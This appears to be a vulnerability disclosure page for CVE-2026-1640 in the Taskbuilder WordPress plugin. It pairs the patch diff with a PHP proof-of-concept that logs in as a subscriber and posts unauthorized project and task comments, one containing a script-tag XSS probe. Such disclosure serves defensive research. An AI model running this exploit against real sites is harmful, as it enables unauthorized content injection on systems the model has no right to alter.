                       <img width="16" height="16" style = "<?php echo ($sort_by == 'Task.start_date' && $order == 'DESC') ? 'display:inline': 'display:none;'?>" onclick="wppm_sort_up_task_list('start_date','ASC','<?php echo esc_attr($page); ?>')" class="wppm_chevron_img" id="wppm_chevron_sort_up_start_date_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_up_icon.svg'); ?>" alt="chevron_sort_up_icon">
@@ -409,7 +415,14 @@
                       <img width="16" height="16" style = "<?php echo ($sort_by == 'Task.end_date' && $order == 'DESC') ? 'display:inline': 'display:none;'?>" onclick="wppm_sort_up_task_list('end_date','ASC','<?php echo esc_attr($page); ?>')" class="wppm_chevron_img" id="wppm_chevron_sort_up_end_date_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_up_icon.svg'); ?>" alt="chevron_sort_up_icon">
                       <img width="16" height="16" style = "<?php echo ($sort_by == 'Task.end_date' && $order == 'ASC') ? 'display:inline': 'display:none;'?>" onclick="wppm_sort_up_task_list('end_date','DESC','<?php echo esc_attr($page); ?>')" class="wppm_chevron_img" id="wppm_chevron_sort_down_end_date_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_down_icon.svg'); ?>" alt="chevron_sort_down_icon">
                     </th>
-            <?php } ?>
+            <?php }
+            if( $wppm_deafault_time_duration_task==1){ ?>
+                  <th class="wppm_table_header" style="background-color:<?php echo esc_attr($appearance_settings['list-header-background-color'])?>">
+                      <span id="wppm_task_duration_th" style="color:<?php echo esc_attr($appearance_settings['list-header-text-color'])?>"><?php echo esc_html_e('Duration','taskbuilder'); ?></span>
+                      <img width="16" height="16" style = "<?php echo ($sort_by == 'TIMESTAMPDIFF(SECOND, Task.start_date, Task.end_date)' && $order == 'DESC') ? 'display:inline': 'display:none;'?>" onclick="wppm_sort_up_task_list('TIMESTAMPDIFF(SECOND, Task.start_date, Task.end_date)','ASC','<?php echo esc_attr($page); ?>')" class="wppm_chevron_img" id="wppm_chevron_sort_up_task_duration_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_up_icon.svg'); ?>" alt="chevron_sort_up_icon">
+                      <img width="16" height="16" style = "<?php echo ($sort_by == 'TIMESTAMPDIFF(SECOND, Task.start_date, Task.end_date)' && $order == 'ASC') ? 'display:inline': 'display:none;'?>" onclick="wppm_sort_up_task_list('TIMESTAMPDIFF(SECOND, Task.start_date, Task.end_date)','DESC','<?php echo esc_attr($page); ?>')" class="wppm_chevron_img" id="wppm_chevron_sort_down_task_duration_img" src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/sort_down_icon.svg'); ?>" alt="chevron_sort_down_icon">
+                    </th>
+          <?php }?>
             <th class="wppm_table_header" style="background-color:<?php echo esc_attr($appearance_settings['list-header-background-color'])?>">
               <span style="color:<?php echo esc_attr($appearance_settings['list-header-text-color'])?>"><?php echo esc_html_e('Assign To','taskbuilder'); ?></span>
             </th>
@@ -425,6 +438,7 @@
           if(!empty($wppm_task_fillter)){
             foreach($wppm_task_fillter as $task) {
               $task_id = esc_sql($task->id);
+              $wppm_task_duration = $wppmfunction->wppm_get_duration($task->start_date,$task->end_date);
               $checklists = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}wppm_checklist where task_id = '$task_id'" );
                 if(!empty($task)){
                   $taskdata = $wppmfunction->get_task($task->id);
@@ -568,7 +582,7 @@
                               <span class ="wppm_td_task_priority" style="background-color:<?php echo (isset($priority->bg_color))? esc_attr($priority->bg_color):"" ;?>; color: <?php echo (isset($priority->color))? esc_attr($priority->color):""; ?>"><?php echo (isset($priority->name))? esc_html_e($priority->name,'taskbuilder'):"" ?></span>
                       <?php } ?>
                     </td>
-                    <?php if($wppm_default_task_date == 1) { ?>
+                    <?php if($wppm_default_task_date == 1 && $wppm_deafault_time_duration_task==0) { ?>
                             <td onmouseover="link=true;">
                             <?php if(!empty($task_start_date)){ ?>
                                       <?php echo esc_html_e($task_start_date,'taskbuilder');
@@ -583,6 +597,15 @@
                                   <span style="<?php echo esc_attr($style); ?>"><?php echo esc_html_e($task_end_date,'taskbuilder');?></span>
                             </td>
                     <?php } ?>
+                    <?php if($wppm_deafault_time_duration_task==1){ ?>
+                            <?php
+                            if(!empty($task_end_date) && ($task->status!=4 && $task_end_date < $current_date && $task_end_date != '0000-00-00 00:00:00' && $task_end_date != '00-00-0000 00:00:00' && $task_end_date != '00-00-0000' && $task_end_date != '0000-00-00')){
+                              $style = "color:#FF2222";
+                            } else {
+                              $style = "color:#2C3E50";
+                            } ?>
+                            <td onmouseover="link=true;" class="wppm_table_td"><span style="<?php echo esc_attr($style); ?>"><?php echo isset($wppm_task_duration) ? esc_html($wppm_task_duration):"" ?></span></td>
+                    <?php } ?>
                     </td>
                     <td onmouseover="link=true;" style="text-align:center;">
                       <?php
@@ -761,6 +784,10 @@
       jQuery('#wppm_chevron_sort_up_end_date_img').show();
       jQuery('#wppm_chevron_sort_down_end_date_img').hide();
     });
+     jQuery("#wppm_task_duration_th").hover(function(){
+      jQuery('#wppm_chevron_sort_up_task_duration_img').show();
+      jQuery('#wppm_chevron_sort_down_task_duration_img').hide();
+    });

   })
   jQuery('#wppm_task_list_proj_filter').select2({ dropdownAutoWidth: true, width: 'auto' });
--- a/taskbuilder/includes/class-wppm-functions.php
+++ b/taskbuilder/includes/class-wppm-functions.php
@@ -258,7 +258,8 @@
             switch ($permission) {
                 case 'change_status':
                 case 'view_task':
-                    ((!empty($co_worker_array)) && (in_array($current_user->ID,$co_worker_array )) )|| ($current_user->ID == $task_data['created_by']) ||  $public_proj_meta==1 || ($flag==true) ? $response = true: $response = false;
+                case 'add_task_comment':
+                    ((!empty($co_worker_array)) && (in_array($current_user->ID,$co_worker_array )) )|| ($current_user->ID == $task_data['created_by']) ||  $public_proj_meta==1 || ($flag==true) || $current_user->has_cap('manage_options') ? $response = true: $response = false;
                     break;
                 case 'change_task_details':
                     (($flag==true) || ($current_user->ID == $task_data['created_by']) || $wppm_edit_tasks_permission == 1) ? $response = true: $response = false;
@@ -383,10 +384,19 @@
                 $co_worker = $project_data['users'];
                 $co_worker_array = explode(",",(string)$co_worker);
             }
+            if(!empty($project_id)){
+                $public_proj_meta = $wpdb->get_var( "SELECT meta_value FROM {$wpdb->prefix}wppm_project_meta where project_id= '$project_id' AND meta_key='public_project'");
+            }else{
+                $public_proj_meta ="";
+            }
+
             switch ($permission) {
                 case 'view_project':
                 ((!empty($co_worker_array)) && (in_array($current_user->ID,$co_worker_array )) )? $response = true: $response = false;
                   break;
+                case 'add_proj_comment':
+                    ( ((!empty($co_worker_array)) && (in_array($current_user->ID,$co_worker_array )) ) || ( $public_proj_meta == '1') || $current_user->has_cap('manage_options')|| $wppm_current_user_capability == 'wppm_admin' || $wppm_current_user_capability == 'wppm_manager')? $response = true: $response = false;
+                  break;
                 case 'change_project_status':
                 case 'assign_project_users':
                 case 'change_project_raised_by':
@@ -1127,6 +1137,34 @@
 			</div>
 			<?php
 		}
+
+        public function wppm_get_duration($start_date, $end_date){
+            if ( empty($start_date) || empty($end_date) || $start_date=='0000-00-00 00:00:00' || $end_date =='0000-00-00 00:00:00') {
+                return '';
+            }
+
+            $start_ts = strtotime($start_date);
+            $end_ts   = strtotime($end_date);
+
+            if ( $end_ts <= $start_ts ) {
+                return '0 min';
+            }
+
+            $diff = $end_ts - $start_ts;
+
+            $days    = floor($diff / 86400);
+            $hours   = floor(($diff % 86400) / 3600);
+            $minutes = floor(($diff % 3600) / 60);
+
+            $duration = [];
+
+            if ($days > 0)    $duration[] = $days . 'd';
+            if ($hours > 0)  $duration[] = $hours . 'h';
+            if ($minutes > 0 || empty($duration)) $duration[] = $minutes . 'm';
+
+            return implode(' ', $duration);
+
+        }
     }
 endif;
 $GLOBALS['wppmfunction'] =  new WPPM_Functions();
 No newline at end of file
--- a/taskbuilder/includes/wppm-install.php
+++ b/taskbuilder/includes/wppm-install.php
@@ -501,6 +501,11 @@
 				$wpdb->query("ALTER TABLE `{$wpdb->prefix}wppm_task` ADD `$cl_name` $cl_type");
 			}
 		}
+		if($installed_version < '5.0.3'){
+			update_option('wppm_display_time_duration_project',0);
+			update_option('wppm_display_time_duration_task',0);
+
+		}
 		// update wppm_version option to plugin version
 		update_option( 'wppm_version', WPPM_VERSION );
 	}
--- a/taskbuilder/taskbuilder.php
+++ b/taskbuilder/taskbuilder.php
@@ -3,7 +3,7 @@
  * Plugin Name: Taskbuilder
  * Plugin URI: https://taskbuilder.net/
  * Description: Wordpress Project Management & Task Management plugin. Easy to keep track of projects & tasks!
- * Version: 5.0.2
+ * Version: 5.0.3
  * Author: Taskbuilder Team
  * Author URI: https://taskbuilder.net/
  * Requires at least: 4.4
@@ -19,7 +19,7 @@
 if ( ! class_exists( 'WP_Taskbuilder' ) ) :

   final class WP_Taskbuilder {
-    public $version    = '5.0.2';
+    public $version    = '5.0.3';
     public function __construct() {
       // define global constants
       $this->define_constants();

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1640 - Taskbuilder <= 5.0.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Project/Task Comment Creation
<?php

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate and obtain WordPress cookies and nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
$response = curl_exec($ch);

// Step 2: Extract the nonce required for the AJAX request.
// The nonce is typically found in page source. For this PoC, we assume the attacker can obtain it.
// In a real scenario, the attacker would first load a page containing the nonce.
// For demonstration, we set a placeholder. The actual nonce is named 'wppm_proj_comment_nonce' for projects.
$nonce = 'EXTRACTED_NONCE_PLACEHOLDER';

// Step 3: Exploit the missing authorization to submit a comment on an arbitrary project.
// Target a project ID the subscriber should not have access to (e.g., ID 1).
$post_data = array(
    'action' => 'wppm_submit_proj_comment',
    'proj_id' => 1,
    'comment_body' => '<div style="color:red;font-size:30px;">Atomic Edge Test - Unauthorized Comment</div><script>alert("XSS if output not escaped")</script>',
    'wppm_proj_comment_nonce' => $nonce,
    'wppm_proj_comment_attachment' => array() // Optional file attachments
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$ajax_response = curl_exec($ch);

echo "Response: " . $ajax_response . "n";

// Step 4: Alternatively, exploit the task comment vulnerability.
$post_data_task = array(
    'action' => 'wppm_submit_task_comment',
    'task_id' => 1,
    'comment_body' => '<div style="background:yellow;">Unauthorized Task Comment</div>',
    'wppm_comment_nonce' => $nonce, // Different nonce name for tasks
    'wppm_comment_attachment' => array()
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data_task);
$ajax_response_task = curl_exec($ch);

echo "Task Response: " . $ajax_response_task . "n";

curl_close($ch);

?>

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